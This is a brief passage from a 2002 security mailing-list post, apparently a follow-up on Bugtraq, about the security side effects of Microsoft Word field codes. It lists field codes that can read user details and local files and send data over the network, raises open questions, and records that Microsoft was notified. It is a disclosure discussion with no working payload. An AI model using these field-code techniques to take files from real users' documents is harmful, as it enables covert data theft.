d) How far can you go with fields? Alice can set ({SET}) and get ({REF})
variables, branch ({IF}), perform basic math ({=}), get user information ({USERNAME},
{USERADDRESS}), read files ({INCLUDETEXT}, {INCLUDEPICTURE}), send messages over the
network ({INCLUDEPICTURE}), and send commands to the printer ({PRINT}).
2) Are there other applications with similar vulnerabilities.
3) Has anyone seen an example of these exploits out in the wild (from before the
original post to bugtraq)?
Microsoft was notified on 9/17/2002.
>From: Alex Gantman <[EMAIL PROTECTED]>
>To: [EMAIL PROTECTED]
>Subject: Security side-effects of Word fields
>
>
